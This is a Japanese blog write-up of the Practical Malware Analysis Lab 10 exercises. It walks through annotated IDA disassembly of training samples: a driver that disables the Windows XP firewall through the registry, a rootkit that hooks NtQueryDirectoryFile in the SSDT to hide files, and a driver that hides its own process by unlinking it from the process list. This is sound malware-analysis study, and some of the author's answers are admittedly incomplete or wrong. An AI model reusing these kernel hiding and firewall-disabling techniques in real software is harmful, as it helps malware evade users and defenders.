PracticalMalwareAnalysis-Labs10 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab10のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 10-1

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab10-01.exe32ビット EXE795F093A536F118FB4C34FCEDFA42165
Lab10-01.sys32ビット ドライバー3D3D1A8145E3237183984FAED04E052E

1. Does this program make any direct changes to the registry? (Use procmon to check.)

Lab10-01.exeをCFF explorerで眺めたところ、CreateServiceAやStartServiceAなどのWindowsサービスに関連するAPI関数がインポートされていた。ファイルをIDAで眺めてみたところ、Lab10-01というWindowsサービスを作成してC:\Windows\System32\Lab10-01.sysをカーネル・ドライバーとして登録することが判明した。

.text:00401020 56                      push    esi
.text:00401021 6A 00                   push    0               ; lpPassword
.text:00401023 6A 00                   push    0               ; lpServiceStartName
.text:00401025 6A 00                   push    0               ; lpDependencies
.text:00401027 6A 00                   push    0               ; lpdwTagId
.text:00401029 6A 00                   push    0               ; lpLoadOrderGroup
.text:0040102B 68 3C 50 40 00          push    offset BinaryPathName ; "C:\\Windows\\System32\\Lab10-01.sys"
.text:00401030 6A 01                   push    1               ; dwErrorControl
.text:00401032 6A 03                   push    3               ; dwStartType
.text:00401034 6A 01                   push    1               ; dwServiceType
.text:00401036 68 FF 01 0F 00          push    0F01FFh         ; dwDesiredAccess
.text:0040103B 68 30 50 40 00          push    offset ServiceName ; "Lab10-01"
.text:00401040 68 30 50 40 00          push    offset ServiceName ; "Lab10-01"
.text:00401045 57                      push    edi             ; hSCManager
.text:00401046 FF 15 08 40 40 00       call    ds:CreateServiceA

Windowsサービスのインストールが成功するとHKLM\System\CurrentControlSet\services\<service name>というレジストリキーが作成されるので、Lab10-01.exeの実行によってレジストリが編集される可能性は極めて高い。ただし、Lab10-01.exeにレジストリの編集に関連するAPI関数はインポートされていなかった。
続いてLab10-01.sysを眺めてみたところ、ntoskrnl.exeよりRtlCreateRegistryKeyおよびRtlWriteRegistryValueというレジストリ編集に関連する関数がインポートされていた。ファイルをIDAで眺めてみたところ、以下のレジストリを作成、編集することが判明した。

  • \Registry\Machine\SOFTWARE\Policies\Microsoft
  • \Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall
  • \Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile
  • \Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile

上記はWindowsのファイヤーウォールに関するレジストリである。

Lab10-01.sysをC:\Windows\System32にコピーしてLab10-01.exeを管理者権限で実行したところ、HKLM\System\CurrentControlSet\services\Lab10-01というレジストリが作成された。

regshotでLab10-01.exeを実行する前後のレジストリの状態を比較してみたが、ファイヤーウォールに関するレジストリへの編集は認められなかった。

2. The user-space program calls the ControlService function. Can you set a breakpoint with WinDbg to see what is executed in the kernel as a result of the call to ControlService?

Lab10-01.exeの0x401080にてControlServiceが呼び出されている。コマンド bp ControlService を投入してブレークポイントをセットしデバッグしてみたがWinDbgに不慣れなこともあり、詳細な解析はできなかった。

3. What does this program do?

Lab10-01.exeを実行するとLab10-01というWindowsサービスがインストールされ、C:\Windows\System32\Lab10-01.sysがカーネル・ドライバーとして登録される。また静的解析より、Lab10-01.sysはWindows ファイヤーウォールの設定を編集すると思われる。

Lab 10-2

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab10-02.exe32ビット EXE3F3A29CA2467D2D05FEAC9D233366F45

1. Does this program create any files? If so, what are they?

Lab10-02.exeはリソースセクションからペイロードを抽出してC:\Windows\System32\Mlwx486.sys (MD5ハッシュ値 9E6042C14B4654CCE37A1A8CBDF2E30B)として保存し、Windows サービス 486 WS Driverにカーネル・ドライバーとして登録する。

.text:00401000 51                      push    ecx
.text:00401001 53                      push    ebx
.text:00401002 56                      push    esi
.text:00401003 57                      push    edi
.text:00401004 68 BC 60 40 00          push    offset Type     ; "FILE"
.text:00401009 6A 65                   push    65h             ; lpName
.text:0040100B 6A 00                   push    0               ; hModule
.text:0040100D FF 15 20 50 40 00       call    ds:FindResourceA
.text:00401013 8B F8                   mov     edi, eax
.text:00401015 57                      push    edi             ; hResInfo
.text:00401016 6A 00                   push    0               ; hModule
.text:00401018 FF 15 24 50 40 00       call    ds:LoadResource
.text:0040101E 85 FF                   test    edi, edi
.text:00401020 8B D8                   mov     ebx, eax
.text:00401022 0F 84 D7 00 00 00       jz      loc_4010FF
---
.text:00401028 6A 00                   push    0               ; hTemplateFile
.text:0040102A 68 80 00 00 00          push    80h             ; dwFlagsAndAttributes
.text:0040102F 6A 02                   push    2               ; dwCreationDisposition CREATE_ALWAYS
.text:00401031 6A 00                   push    0               ; lpSecurityAttributes
.text:00401033 6A 00                   push    0               ; dwShareMode
.text:00401035 68 00 00 00 C0          push    0C0000000h      ; dwDesiredAccess
.text:0040103A 68 9C 60 40 00          push    offset BinaryPathName ; "C:\\Windows\\System32\\Mlwx486.sys"
.text:0040103F FF 15 14 50 40 00       call    ds:CreateFileA
.text:00401045 8B F0                   mov     esi, eax
.text:00401047 83 FE FF                cmp     esi, 0FFFFFFFFh
.text:0040104A 0F 84 AF 00 00 00       jz      loc_4010FF
---
.text:00401050 8D 44 24 0C             lea     eax, [esp+10h+NumberOfBytesWritten]
.text:00401054 6A 00                   push    0               ; lpOverlapped
.text:00401056 50                      push    eax             ; lpNumberOfBytesWritten
.text:00401057 57                      push    edi             ; hResInfo
.text:00401058 6A 00                   push    0               ; hModule
.text:0040105A FF 15 18 50 40 00       call    ds:SizeofResource
.text:00401060 50                      push    eax             ; nNumberOfBytesToWrite
.text:00401061 53                      push    ebx             ; lpBuffer payload embedded within resource section
.text:00401062 56                      push    esi             ; hFile "C:\\Windows\\System32\\Mlwx486.sys"
.text:00401063 FF 15 1C 50 40 00       call    ds:WriteFile
.text:00401069 56                      push    esi             ; hObject
.text:0040106A FF 15 28 50 40 00       call    ds:CloseHandle
.text:00401070 68 3F 00 0F 00          push    0F003Fh         ; dwDesiredAccess
.text:00401075 6A 00                   push    0               ; lpDatabaseName
.text:00401077 6A 00                   push    0               ; lpMachineName
.text:00401079 FF 15 0C 50 40 00       call    ds:OpenSCManagerA
.text:0040107F 85 C0                   test    eax, eax
.text:00401081 75 14                   jnz     short loc_401097
---
.text:00401097                         loc_401097:             ; lpPassword
.text:00401097 6A 00                   push    0
.text:00401099 6A 00                   push    0               ; lpServiceStartName
.text:0040109B 6A 00                   push    0               ; lpDependencies
.text:0040109D 6A 00                   push    0               ; lpdwTagId
.text:0040109F 6A 00                   push    0               ; lpLoadOrderGroup
.text:004010A1 68 9C 60 40 00          push    offset BinaryPathName ; "C:\\Windows\\System32\\Mlwx486.sys"
.text:004010A6 6A 01                   push    1               ; dwErrorControl
.text:004010A8 6A 03                   push    3               ; dwStartType
.text:004010AA 6A 01                   push    1               ; dwServiceType SERVICE_KERNEL_DRIVER
.text:004010AC 68 FF 01 0F 00          push    0F01FFh         ; dwDesiredAccess
.text:004010B1 68 68 60 40 00          push    offset DisplayName ; "486 WS Driver"
.text:004010B6 68 68 60 40 00          push    offset DisplayName ; "486 WS Driver"
.text:004010BB 50                      push    eax             ; hSCManager
.text:004010BC FF 15 00 50 40 00       call    ds:CreateServiceA

Lab10-02.exeを実行した結果。自分の解析環境ではC:\Windows\SysWOW64にMlwx486.sysが作成された。

2. Does this program have a kernel component?

Mlwx486.sysntoskrnl.exeよりNtQueryDirectoryFileやMmGetSystemRoutineAddressなどの関数をインポートしている。典型的なRootkitはNtQueryDirectoryFileをフックすることによりファイルを隠蔽する。MmGetSystemRoutineAddressはGetProcAddressと似た働きをし、主にカーネル・コードによって利用される。

3. What does this program do?

Lab10-02.exeはリソースセクションからペイロードを抽出してC:\Windows\System32\Mlwx486.sys (MD5ハッシュ値 9E6042C14B4654CCE37A1A8CBDF2E30B)として保存し、Windows サービス 486 WS Driverにカーネル・ドライバーとして登録する。Mlwx486.sysはSystem Service Descriptor Table (SSDT)から NtQueryDirectoryFileをフックする。以下はコードの抜粋。

NtQueryDirectoryFileとSSDTのアドレスを取得する。

INIT:00010708 55                      push    ebp
INIT:00010709 8B EC                   mov     ebp, esp
INIT:0001070B 83 EC 10                sub     esp, 10h
INIT:0001070E 56                      push    esi
INIT:0001070F 8B 35 88 05 01 00       mov     esi, ds:RtlInitUnicodeString
INIT:00010715 57                      push    edi
INIT:00010716 68 EE 07 01 00          push    offset aN       ; "N"
INIT:0001071B 8D 45 F8                lea     eax, [ebp+var_8]
INIT:0001071E 50                      push    eax
INIT:0001071F FF D6                   call    esi ; RtlInitUnicodeString
INIT:00010721 68 BC 07 01 00          push    offset aKeservicedescr ; "KeServiceDescriptorTable"
INIT:00010726 8D 45 F0                lea     eax, [ebp+var_10]
INIT:00010729 50                      push    eax
INIT:0001072A FF D6                   call    esi ; RtlInitUnicodeString
INIT:0001072C 8B 35 84 05 01 00       mov     esi, ds:MmGetSystemRoutineAddress
INIT:00010732 8D 45 F8                lea     eax, [ebp+var_8]
INIT:00010735 50                      push    eax             ; NtQueryDirectoryFile
INIT:00010736 FF D6                   call    esi ; MmGetSystemRoutineAddress
INIT:00010738 8B F8                   mov     edi, eax
INIT:0001073A 8D 45 F0                lea     eax, [ebp+var_10]
INIT:0001073D 50                      push    eax             ; KeServiceDescriptorTable
INIT:0001073E FF D6                   call    esi ; MmGetSystemRoutineAddress
INIT:00010740 8B 00                   mov     eax, [eax]
INIT:00010742 33 C9                   xor     ecx, ecx

SSDTからNtQueryDirectoryFileを見つけるためのループ処理。

INIT:00010744                         loc_10744:              ; EAX contains SSDT. EDI contains NtQueryDirectoryFile.
INIT:00010744 83 C0 04                add     eax, 4          ; This loop is iterates through SSDT until it finds NtQueryDirectoryFile
INIT:00010747 39 38                   cmp     [eax], edi
INIT:00010749 74 09                   jz      short loc_10754
---
INIT:0001074B 41                      inc     ecx
INIT:0001074C 81 F9 1C 01 00 00       cmp     ecx, 11Ch
INIT:00010752 7C F0                   jl      short loc_10744

上記のループ処理で見つかったNtQueryDirectoryFileをフックする。NtQueryDirectoryFileがフックされるとアドレス 0x010486に記述されたコードが実行される。

INIT:00010754                         loc_10754:
INIT:00010754 89 3D 8C 06 01 00       mov     dword_1068C, edi
INIT:0001075A A3 90 06 01 00          mov     dword_10690, eax
INIT:0001075F 5F                      pop     edi
INIT:00010760 C7 00 86 04 01 00       mov     dword ptr [eax], offset Hook_10486
INIT:00010766 33 C0                   xor     eax, eax
INIT:00010768 5E                      pop     esi
INIT:00010769 C9                      leave
INIT:0001076A C2 08 00                retn    8

以下はフック処理 (アドレス 0x010486) のコードの抜粋。NtQueryDirectoryFileに渡されたファイルハンドルがMlwx + 4文字と一致するか確認する。一致した場合、Mlwx + 4文字をシステムから隠蔽する。

.text:000104CA                         loc_104CA:              ; byte length
.text:000104CA 6A 08                   push    8
.text:000104CC 68 1A 05 01 00          push    offset word_1051A ; Mlwx
.text:000104D1 8D 46 5E                lea     eax, [esi+5Eh]
.text:000104D4 50                      push    eax
.text:000104D5 32 DB                   xor     bl, bl
.text:000104D7 FF 15 90 05 01 00       call    ds:RtlCompareMemory
.text:000104DD 83 F8 08                cmp     eax, 8
.text:000104E0 75 12                   jnz     short loc_104F4

Lab 10-3

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab10-03.exe32ビット EXEF72D773F13CEB6B842A9D29C56F8880F
Lab10-03.sys32ビット ドライバーCF91A08F3D7A2875D6120C16B7C55398

1. What does this program do?

まず、Lab10-03.exeを解析した。

Process HelperというWindowsサービスをインストールしてファイル C:\Windows\System32\Lab10-03.sysをカーネル・ドライバーとして登録する。

.text:0040101B push    0               ; lpPassword
.text:0040101D push    0               ; lpServiceStartName
.text:0040101F push    0               ; lpDependencies
.text:00401021 push    0               ; lpdwTagId
.text:00401023 push    0               ; lpLoadOrderGroup
.text:00401025 push    offset BinaryPathName ; "C:\\Windows\\System32\\Lab10-03.sys"
.text:0040102A push    1               ; dwErrorControl
.text:0040102C push    3               ; dwStartType
.text:0040102E push    1               ; dwServiceType SERVICE_KERNEL_DRIVER
.text:00401030 push    0F01FFh         ; dwDesiredAccess
.text:00401035 push    offset DisplayName ; "Process Helper"
.text:0040103A push    offset DisplayName ; "Process Helper"
.text:0040103F push    eax             ; hSCManager
.text:00401040 call    ds:CreateServiceA


\\.\ProcHelper というデバイス・ファイルを作成して操作する。

.text:0040105E push    0               ; hTemplateFile
.text:00401060 push    80h             ; dwFlagsAndAttributes
.text:00401065 push    2               ; dwCreationDisposition CREATE_ALWAYS
.text:00401067 push    0               ; lpSecurityAttributes
.text:00401069 push    0               ; dwShareMode
.text:0040106B push    0C0000000h      ; dwDesiredAccess
.text:00401070 push    offset FileName ; "\\\\.\\ProcHelper"
.text:00401075 call    ds:CreateFileA
.text:0040107B cmp     eax, 0FFFFFFFFh
.text:0040107E jnz     short loc_40108C
---
.text:0040108C lea     ecx, [esp+2Ch+BytesReturned]
.text:00401090 push    0               ; lpOverlapped
.text:00401092 push    ecx             ; lpBytesReturned
.text:00401093 push    0               ; nOutBufferSize
.text:00401095 push    0               ; lpOutBuffer
.text:00401097 push    0               ; nInBufferSize
.text:00401099 push    0               ; lpInBuffer
.text:0040109B push    0ABCDEF01h      ; dwIoControlCode
.text:004010A0 push    eax             ; hDevice
.text:004010A1 call    ds:DeviceIoControl

COM オブジェクトを作成して、Internet ExplorerでURL http://www.malwareanalysisbook.com/ad.html をブラウズさせる。

.text:004010B3 lea     edx, [esp+2Ch+ppv]
.text:004010B7 push    edi
.text:004010B8 push    edx             ; ppv
.text:004010B9 push    offset riid     ; riid D30C1661-CDAF-11D0-8A3E-00C04FC9E26E (IWebBrowser2)
.text:004010BE push    4               ; dwClsContext
.text:004010C0 push    0               ; pUnkOuter
.text:004010C2 push    offset rclsid   ; rclsid 0002DF01-0000-0000-C000-000000000046 (Internet Explorer)
.text:004010C7 call    ds:CoCreateInstance
.text:004010CD mov     eax, [esp+30h+ppv]
.text:004010D1 test    eax, eax
.text:004010D3 jz      short loc_40112A
---
.text:004010D5 lea     eax, [esp+30h+pvarg]
.text:004010D9 push    eax             ; pvarg
.text:004010DA call    ds:VariantInit
.text:004010E0 push    offset psz      ; "http://www.malwareanalysisbook.com/ad.h"...
.text:004010E5 mov     [esp+34h+var_10], 3
.text:004010EC mov     [esp+34h+var_8], 1
.text:004010F4 call    ds:SysAllocString
.text:004010FA mov     edi, ds:Sleep
.text:00401100 mov     esi, eax
---
.text:00401102 lea     edx, [esp+30h+pvarg]
.text:00401106 mov     eax, [esp+30h+ppv]
.text:0040110A push    edx
.text:0040110B lea     edx, [esp+34h+pvarg]
.text:0040110F mov     ecx, [eax]
.text:00401111 push    edx
.text:00401112 lea     edx, [esp+38h+pvarg]
.text:00401116 push    edx
.text:00401117 lea     edx, [esp+3Ch+var_10]
.text:0040111B push    edx
.text:0040111C push    esi             ; 'http://www.malwareanalysisbook.com/ad.html'
.text:0040111D push    eax
.text:0040111E call    dword ptr [ecx+2Ch] ; call COM object

続いてLab10-03.sys。

\Device\ProcHelper というデバイス・オブジェクトを作成する。

INIT:0001072B 50                      push    eax
INIT:0001072C 6A 00                   push    0
INIT:0001072E 68 00 01 00 00          push    100h
INIT:00010733 6A 22                   push    22h             ; FILE_DEVICE_UNKNOWN
INIT:00010735 8D 45 F4                lea     eax, [ebp+var_C]
INIT:00010738 50                      push    eax             ; "\\Device\\ProcHelper"
INIT:00010739 6A 00                   push    0
INIT:0001073B 56                      push    esi             ; argument
INIT:0001073C FF 15 98 04 01 00       call    ds:IoCreateDevice

デバイス・オブジェクト \Device\ProcHelper のシンボリックリンク \DosDevices\ProcHelperを作成する。

INIT:00010746 B8 06 06 01 00          mov     eax, offset sub_10606
INIT:0001074B 89 46 38                mov     [esi+38h], eax
INIT:0001074E 89 46 40                mov     [esi+40h], eax
INIT:00010751 68 DE 07 01 00          push    offset word_107DE ; \DosDevices\ProcHelper
INIT:00010756 8D 45 EC                lea     eax, [ebp+var_14]
INIT:00010759 50                      push    eax
INIT:0001075A C7 46 70 66 06 01 00    mov     dword ptr [esi+70h], offset sub_10666 ; call IoGetCurrentProcess and IofCompleteRequest
INIT:00010761 C7 46 34 2A 06 01 00    mov     dword ptr [esi+34h], offset sub_1062A ; deletes \DosDevices\ProcHelper
INIT:00010768 FF D7                   call    edi ; RtlInitUnicodeString
INIT:0001076A 8D 45 F4                lea     eax, [ebp+var_C]
INIT:0001076D 50                      push    eax             ; "\\Device\\ProcHelper"
INIT:0001076E 8D 45 EC                lea     eax, [ebp+var_14]
INIT:00010771 50                      push    eax             ; \DosDevices\ProcHelper
INIT:00010772 FF 15 94 04 01 00       call    ds:IoCreateSymbolicLink

2. Once this program is running, how do you stop it?

ファイルを実行しても期待通りの挙動を見せなかったため、割愛。

3. What does the kernel component do?

\Device\ProcHelper というデバイス・オブジェクトを作成し、さらに\Device\ProcHelper のシンボリックリンク \DosDevices\ProcHelperを作成する。

模範解答

Lab 10-1
1. If you run procmon to monitor this program, you will see that the only call to write the registry is to RegSetValue for the value HKLM\Microsoft\Cryptography\RNG\Seed. Some indirect changes are made by the calls to CreateServiceA, but this program also makes direct changes to the registry from the kernel that go undetected by procmon.

2. To set a breakpoint to see what happens in the kernel, you must open the executable within an instance of WinDbg running in the virtual machine, while also debugging the kernel with another instance of WinDb in the host machine. When Lab10-01.exe is stopped in the virtual machine, you first use the !drvobj command to get a handle to the driver object, which contains a pointer to the unload function. Next, you can set a breakpoint on the unload function within the driver. The breakpoint will be triggered when you restart Lab10-01.exe

3. This program creates a service to load a driver. The driver code then creates (or modifies if they exist) the registry keys \Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile and \Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile. Setting these registry keys disables the Windows XP firewall.

Lab 10-2
1. The program creates the file C:\Windows\System32\Mlwx486.sys. You can use procmon or another dynamic monitoring tool to see the file being created, but you can not see the file on disk because it is hidden.

2. The program has a kernel component. It is stored in the file's resource section, and then written to disk and loaded into the kernel as a service.

3. The program is a rootkit designed to hide files. It uses SSDT hooking to overwrite the entry to NtQueryDirectoryFile, which it uses to prevent the display of any files beginning with Mlwx (case-sensitive) in directory listings.

Lab10-3
1. The user-space program loads the driver and then pops up an advertisement every 30 seconds. The driver hides the process by unlinking the Process Environment Block (PEB) from the system's linked list.

2. Once this program is running, there is no easy way to stop it without rebooting.

3. The kernel component responds to any DeviceIoControl request by unlinking the process that made the request from the linked list of processes in order to hide the process from the user.

答え合わせ

Lab 10-1

問3にて 「Lab10-01.sysはWindows ファイヤーウォールの設定を編集すると思われる。」と解答したが、補足するとEnableFirewallの値を0にセットすることでWindows XPのファイヤーウォールを無効にする。

.text:00010495 33 FF                   xor     edi, edi        ; zeros edi
.text:00010497 68 BC 06 01 00          push    offset aRegistryMachin ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:0001049C 57                      push    edi
.text:0001049D 89 7D FC                mov     [ebp+var_4], edi ; copying zero to var_4
.text:000104A0 FF D6                   call    esi ; RtlCreateRegistryKey
.text:000104A2 68 40 06 01 00          push    offset aRegistryMachin_0 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104A7 57                      push    edi
.text:000104A8 FF D6                   call    esi ; RtlCreateRegistryKey
.text:000104AA 68 A8 05 01 00          push    offset aRegistryMachin_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104AF 57                      push    edi
.text:000104B0 FF D6                   call    esi ; RtlCreateRegistryKey
.text:000104B2 BB 0C 05 01 00          mov     ebx, offset aRegistryMachin_2 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104B7 53                      push    ebx
.text:000104B8 57                      push    edi
.text:000104B9 FF D6                   call    esi ; RtlCreateRegistryKey
.text:000104BB 8B 35 88 07 01 00       mov     esi, ds:RtlWriteRegistryValue
.text:000104C1 6A 04                   push    4
.text:000104C3 8D 45 FC                lea     eax, [ebp+var_4] ; copying zer to eax
.text:000104C6 50                      push    eax             ; 0
.text:000104C7 6A 04                   push    4
.text:000104C9 BF EE 04 01 00          mov     edi, offset word_104EE ; EnableFirewall
.text:000104CE 57                      push    edi
.text:000104CF 68 A8 05 01 00          push    offset aRegistryMachin_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104D4 6A 00                   push    0
.text:000104D6 FF D6                   call    esi ; RtlWriteRegistryValue
.text:000104D8 6A 04                   push    4
.text:000104DA 8D 45 FC                lea     eax, [ebp+var_4]
.text:000104DD 50                      push    eax
.text:000104DE 6A 04                   push    4
.text:000104E0 57                      push    edi             ; EnableFirewall
.text:000104E1 53                      push    ebx
.text:000104E2 6A 00                   push    0
.text:000104E4 FF D6                   call    esi ; RtlWriteRegistryValue

Lab 10-3

問1にて、「COM オブジェクトを作成して、Internet ExplorerでURL http://www.malwareanalysisbook.com/ad.html をブラウズさせる。」と解答したが補足するとブラウジングは30秒ごとに行われる。

.text:00401102 loc_401102:
.text:00401102 lea     edx, [esp+30h+pvarg]
.text:00401106 mov     eax, [esp+30h+ppv]
.text:0040110A push    edx
.text:0040110B lea     edx, [esp+34h+pvarg]
.text:0040110F mov     ecx, [eax]
.text:00401111 push    edx
.text:00401112 lea     edx, [esp+38h+pvarg]
.text:00401116 push    edx
.text:00401117 lea     edx, [esp+3Ch+var_10]
.text:0040111B push    edx
.text:0040111C push    esi             ; 'http://www.malwareanalysisbook.com/ad.html'
.text:0040111D push    eax
.text:0040111E call    dword ptr [ecx+2Ch] ; call COM object
.text:00401121 push    30000           ; dwMilliseconds
.text:00401126 call    edi ; Sleep
.text:00401128 jmp     short loc_401102

問3について、Lab10-03.exe及びLab10-03.sysはLIST_ENTRYのFlink (次のプロセスへのリンク)とBlink (前のプロセスへのリンク) を書き換えることによって自身 (Lab10-03.exe) をプロセス一覧から隠蔽する。

PAGE:00010666 8B FF                   mov     edi, edi
PAGE:00010668 55                      push    ebp
PAGE:00010669 8B EC                   mov     ebp, esp
PAGE:0001066B FF 15 90 04 01 00       call    ds:IoGetCurrentProcess
PAGE:00010671 8B 88 8C 00 00 00       mov     ecx, [eax+8Ch]
PAGE:00010677 05 88 00 00 00          add     eax, 88h        ; obtains a pointer to the next entry
PAGE:0001067C 8B 10                   mov     edx, [eax]      ; obtains a pointer to the previous entry
PAGE:0001067E 89 11                   mov     [ecx], edx      ; overwrites the Blink pointer of the next entry so that it points to the previous entry
PAGE:00010680 8B 08                   mov     ecx, [eax]      ; obtains a pointer to the previous entry
PAGE:00010682 8B 40 04                mov     eax, [eax+4]    ; obtains a pointer to the next entry
PAGE:00010685 89 41 04                mov     [ecx+4], eax    ; overwrites the Flink pointer of the previous entry in the list to skip the current entry
PAGE:00010688 8B 4D 0C                mov     ecx, [ebp+arg_4]
PAGE:0001068B 83 61 18 00             and     dword ptr [ecx+18h], 0
PAGE:0001068F 83 61 1C 00             and     dword ptr [ecx+1Ch], 0
PAGE:00010693 32 D2                   xor     dl, dl
PAGE:00010695 FF 15 80 04 01 00       call    ds:IofCompleteRequest
PAGE:0001069B 33 C0                   xor     eax, eax
PAGE:0001069D 5D                      pop     ebp
PAGE:0001069E C2 08 00                retn    8
PAGE:0001069E                         sub_10666 endp

Leave a Reply

Your email address will not be published. Required fields are marked *